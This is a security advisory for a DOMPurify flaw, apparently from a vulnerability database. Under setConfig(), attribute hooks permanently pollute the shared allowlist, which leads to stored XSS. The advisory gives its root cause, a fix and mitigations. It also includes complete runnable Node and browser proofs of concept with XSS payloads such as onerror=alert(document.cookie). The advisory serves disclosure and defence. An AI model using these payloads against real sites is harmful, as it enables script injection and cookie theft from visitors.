Skip to content

GHSA-cmwh-pvxp-8882 CVE-2026-65898

DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)

Medium npm
Severity
5.1 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.21%
Chance of exploitation in the next 30 days. Higher than 11.53% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-471 Modification of Assumed-Immutable Data (MAID)
CWE-665 Improper Initialization
Fix
3.4.11
Upgrade dompurify to this version or later

Description

Summary

DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered uponSanitizeAttribute hook's mutation of data.allowedAttributes non-persistent — so allowing an attribute for one element does not leak into later sanitize() calls. The fix clones ALLOWED_ATTR inside _parseConfig.

That guard is silently bypassed whenever the application uses the persistent-config API DOMPurify.setConfig(). setConfig() sets the module flag SET_CONFIG = true, which causes sanitize() to skip _parseConfig entirely — and the clone-guard lives inside _parseConfig. The hook is then handed the live, shared ALLOWED_ATTR object; any data.allowedAttributes[name] = true it writes mutates that shared object permanently, for the lifetime of the DOMPurify instance, across every subsequent call, and across all elements.

If an application uses setConfig() together with an uponSanitizeAttribute hook that conditionally allows a dangerous attribute (onerror, onclick, onmouseover, srcdoc, formaction, …) for "trusted" elements, then one trusted render permanently allows that attribute on untrusted, attacker-controlled content — yielding stored XSS in viewers' browsers. DOMPurify applies no separate /^on/ event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.


Affected configuration (preconditions)

The vulnerability is triggered when an application does both:

  1. Calls DOMPurify.setConfig(...) once (the recommended pattern for a fixed, persistent policy), and
  2. Registers an uponSanitizeAttribute hook that writes data.allowedAttributes[name] = true to conditionally allow an attribute (e.g. only for elements bearing a trust marker).

This hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.


Root cause (source: src/purify.ts, v3.4.10)

The 3.4.7 clone-guard — only inside _parseConfig:

// src/purify.ts  _parseConfig()  (lines ~950-968)
// "if a hook is registered AND the set still points at the default constant, clone it.
//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original."
if ( ... && hooks.uponSanitizeAttribute.length > 0) {
  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961
}
if ( ... hooks.uponSanitizeAttribute.length > 0 ... ) {
  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968
}

sanitize() skips _parseConfig on the persistent-config path:

// src/purify.ts  DOMPurify.sanitize()  (line 2369)
if (!SET_CONFIG) {
  _parseConfig(cfg);          // <-- clone-guard lives in here; SKIPPED when SET_CONFIG is true
}

setConfig() sets the flag that disables the guard:

// src/purify.ts  (lines 2596-2598)
DOMPurify.setConfig = function (cfg = {}) {
  _parseConfig(cfg);
  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig
};

The hook is handed the live allowlist binding, and there is no secondary event-handler defense:

// src/purify.ts (line 2088) — hook event exposes the shared object by reference
allowedAttributes: ALLOWED_ATTR,
// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself
// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.

Net: after setConfig(), the clone-guard never runs, so the hook's allowedAttributes mutation is a permanent write to the instance's shared ALLOWED_ATTR.


Proof of Concept

Environment: npm i dompurify@3.4.10 jsdom (Node; identical mechanism to isomorphic-dompurify, and to a browser instance).

PoC 1 — the leak (trusted render permanently allows onerror on attacker content)

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DP = createDOMPurify(new JSDOM('').window);

// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements
DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DP.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
    data.allowedAttributes['onerror'] = true;        // intended: trusted-only
  }
});

// 1) A trusted widget is rendered once
DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');

// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance
console.log(DP.sanitize('<img src="x" onerror="alert(document.cookie)">'));
// OUTPUT:  <img src="x" onerror="alert(document.cookie)">     <-- onerror SURVIVES -> XSS

PoC 2 — it is a DOMPurify state-leak, not "the app allowed on*" (attribute-agnostic)

// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).
// The leak is identical -> the defect is a shared-state mutation in DOMPurify,
// independent of which attribute the hook touches.
DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
DP.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
});
DP.sanitize('<span data-trusted="1" title="ok">x</span>');
console.log(DP.sanitize('<span title="leaked">x</span>'));   // -> <span title="leaked">x</span>  (leaked)

PoC 3 — control: WITHOUT setConfig() the 3.4.7 guard holds

const DP2 = createDOMPurify(new JSDOM('').window);
DP2.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
});
DP2.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
console.log(DP2.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));
// OUTPUT:  <img src="x">     <-- onerror correctly STRIPPED. setConfig() is the trigger.

Persistence (observed)

  • The leak persists after removeAllHooks() — removing the hook does not clean the polluted allowlist.
  • It is global / cross-element — a polluted onmouseover survives on <a> and <div>, not only the originally-blessed <img>.
  • It persists for the instance lifetime (survived 5/5 subsequent default calls).
  • clearConfig() does restore a clean state (this is the bound of the impact).

Impact

Stored XSS. In a long-lived (e.g. server-side / isomorphic-dompurify) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no /^on/ blocklist, a surviving on* attribute is final — no secondary control prevents execution. onerror on a broken-src <img> fires with no user interaction (browser-confirmed; see Validation).

Per-call FORBID_ATTR does not mitigate. A defensive sanitize(input, { FORBID_ATTR: ['onerror'] }) is also ignored once setConfig() has been called: the per-call config is parsed by _parseConfig, which sanitize() skips entirely under SET_CONFIG. So an application cannot blunt the leak with a per-call denylist — the poisoned ALLOWED_ATTR is the sole gate.


Realistic attack scenario

A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:

  1. The app installs a persistent baseline policy via setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] }).
  2. It registers an uponSanitizeAttribute hook that enables an event handler only for admin-vetted elements marked data-trusted="1", intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.
  3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing <img src=x onerror=...> passes sanitization and executes for all viewers.

Remediation

Extend the existing clone-guard to the persistent-config (SET_CONFIG) fast-path: when sanitize() skips _parseConfig but an uponSanitizeAttribute hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in _parseConfig.

// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:
if (!SET_CONFIG) {
  _parseConfig(cfg);
} else if (hooks.uponSanitizeAttribute.length > 0) {
  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would
  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.
  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {
    ALLOWED_ATTR = clone(ALLOWED_ATTR);
  }
  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {
    ALLOWED_TAGS = clone(ALLOWED_TAGS);
  }
}

(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of ALLOWED_ATTR/ALLOWED_TAGS whenever SET_CONFIG is true, mirroring the 3.4.7 intent.)

A regression test should reproduce PoC 1 and assert the attacker call returns <img src="x">. Note the existing 3.4.7 regression test ("unguarded attribute hook does not poison subsequent default-config calls") never exercises setConfig() — adding a setConfig variant closes the gap.

Application-side mitigation until patched: prefer data.keepAttr = true (per-element, non-persistent) over data.allowedAttributes[name] = true inside hooks; or call DOMPurify.clearConfig() between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.


Limitations

  • Requires the two-part precondition above (persistent setConfig() and a hook writing data.allowedAttributes[...]). Not a default-config bypass.
  • Impact is bounded by clearConfig(), which restores a clean state. The earlier-considered "survives clearConfig()" claim did not reproduce and is withdrawn.
  • A position could be adopted to "use data.keepAttr=true, not allowedAttributes[]." However, the 3.4.7 security fix exists precisely to defend the allowedAttributes[] hook pattern in the per-call path; leaving the setConfig path unguarded is an incomplete fix of an acknowledged security issue.

Validation

  • Integrity: the tested dompurify@3.4.10 dist/purify.cjs.js (md5 ab0e7b1cde1cbcace0f62b6aac284143) and browser dist/purify.min.js (md5 b0985f80fa48e6e7b263f8f6a64b779e) are byte-identical to a freshly npm pack-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.
  • Node (mechanism): PoCs 1–3 reproduce deterministically; DOMPurify.isValidAttribute('img','onerror','x') flips false → true after a single trusted render under setConfig(), proving the shared attribute gate is poisoned. Leak survives removeAllHooks(), is cross-element, persists for the instance lifetime, and is reset only by clearConfig().
  • Real browser (impact): in Chrome with DOMPurify 3.4.10, assigning the attacker output to innerHTML executes the surviving onerror (sentinel window.__fired = ["ATTACKER-onerror"]; onerror DOM property is a function), with no user interaction. The no-setConfig A/B control does not fire — execution is attributable to the setConfig leak, not a harness artifact.

Appendix A — Node PoC (complete, runnable)

// poc.js  —  npm i dompurify@3.4.10 jsdom  &&  node poc.js
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const freshDP = () => createDOMPurify(new JSDOM('').window);
const log = (s) => console.log(s);
log('DOMPurify ' + freshDP().version + '\n');

// PoC 1 — the leak: trusted render permanently allows onerror on attacker content
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (node, data) => {
    if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
      data.allowedAttributes['onerror'] = true;            // intended: trusted-only
    }
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');            // trusted render
  const attacker = DP.sanitize('<img src="x" onerror="alert(document.cookie)">');  // attacker, no data-trusted
  log('[PoC1] attacker output  : ' + attacker);
  log('[PoC1] onerror survived : ' + /onerror/.test(attacker));
  log('[PoC1] isValidAttribute(img,onerror) -> ' + DP.isValidAttribute('img','onerror','x') + '  (shared gate poisoned)\n');
}

// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not "the app allowed on*"
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
  });
  DP.sanitize('<span data-trusted="1" title="ok">x</span>');
  log('[PoC2] benign title leaks: ' + DP.sanitize('<span title="leaked">x</span>') + '\n');
}

// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds
{
  const DP = freshDP();
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  const ctrl = DP.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  log('[PoC3] control output   : ' + ctrl + '   stripped: ' + !/onerror/.test(ctrl) + '\n');
}

// Persistence: survives removeAllHooks(); reset only by clearConfig()
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">');
  DP.removeAllHooks();
  let leaks = 0;
  for (let i = 0; i < 5; i++) if (/onerror/.test(DP.sanitize('<img src="x" onerror="alert('+i+')">'))) leaks++;
  log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');
  DP.clearConfig();
  log('[persist] after clearConfig(): ' + DP.sanitize('<img src="x" onerror="alert(1)">') + '  (reset)');
}

Expected output:

[PoC1] attacker output  : <img src="x" onerror="alert(document.cookie)">
[PoC1] onerror survived : true
[PoC1] isValidAttribute(img,onerror) -> true  (shared gate poisoned)
[PoC2] benign title leaks: <span title="leaked">x</span>
[PoC3] control output   : <img src="x">   stripped: true
[persist] survived 5/5 calls after removeAllHooks()
[persist] after clearConfig(): <img src="x">  (reset)

Appendix B — Browser PoC (complete; confirms execution)

<!doctype html><html><head><meta charset="utf-8">
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js"></script>
</head><body><pre id="out"></pre>
<script>
const log = (s) => document.getElementById('out').textContent += s + '\n';
window.__fired = [];
window.alert = (x) => window.__fired.push('alert:' + x);   // sentinel: capture exec, no modal
log('DOMPurify ' + DOMPurify.version);

// App init: persistent policy + a hook allowing onerror ONLY for trusted elements
DOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;
});

DOMPurify.sanitize('<img data-trusted="1" src="x" onerror="0">');                 // one trusted render
const out = DOMPurify.sanitize('<img src="x" onerror="alert(\'XSS:\'+document.domain)">');  // attacker
log('attacker sanitized output: ' + out);
const host = document.createElement('div');
host.innerHTML = out;                            // surviving onerror arms on the broken-src img
document.body.appendChild(host);

setTimeout(() => {
  log('handlers fired: ' + JSON.stringify(window.__fired));
  log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');
}, 500);
</script></body></html>

Observed: handlers fired: ["alert:XSS:<domain>"] → RESULT: XSS EXECUTED (no user interaction). The same harness without the setConfig() line strips onerror and does not fire.

Affected versions

npm

PackageVulnerableFixed in
dompurify
<= 3.4.10
No fix yet
dompurify
< 3.4.11
3.4.11

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

dompurify npm → 3.4.11

npm
npm install dompurify@3.4.11
yarn
yarn add dompurify@3.4.11
pnpm
pnpm add dompurify@3.4.11

Severity breakdown

CVSS 4.0 5.1

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
Passive
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
Low
Integrity (subsequent systems)
Low
Availability (subsequent systems)
None

CVSS 3.1 7.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-471: Modification of Assumed-Immutable Data (MAID)

The product does not properly protect an assumed-immutable element from being modified by an attacker.

How to prevent it
  • Architecture and Design, Operation, Implementation: When the data is stored or transmitted through untrusted sources that could modify the data, implement integrity checks to detect unauthorized modification, or store/transmit the data in a trusted location that is free from external influence.

CWE-665: Improper Initialization

The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

How to prevent it
  • Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.
  • Architecture and Design: Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.
  • Implementation: Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.
  • Implementation: Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.
  • Implementation: Avoid race conditions (CWE-362) during initialization routines.
  • Build and Compilation: Run or compile your product with settings that generate warnings about uninitialized variables or data.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-cg2g-xh64-v4q7
DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes
Critical Also affects dompurify
GHSA-mrv2-3pqr-j5jr
DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)
High Also affects dompurify
GHSA-c6gr-qvv4-5v3f
DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml
Medium Also affects dompurify
GHSA-6688-9rhm-gjv2
DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes
Medium Also affects dompurify
GHSA-p98j-92pf-mc4p
DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS
Low Also affects dompurify
GHSA-55q2-fjhq-7xh7
DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS
Medium Also affects dompurify
GHSA-c2j3-45gr-mqc4
DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.
Low Also affects dompurify
GHSA-vxr8-fq34-vvx9
DOMPurify: Trusted Types policy survives `clearConfig()` and can poison later `RETURN_TRUSTED_TYPE` output
Low Also affects dompurify

Credits: EchoTydes, trace37labs

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor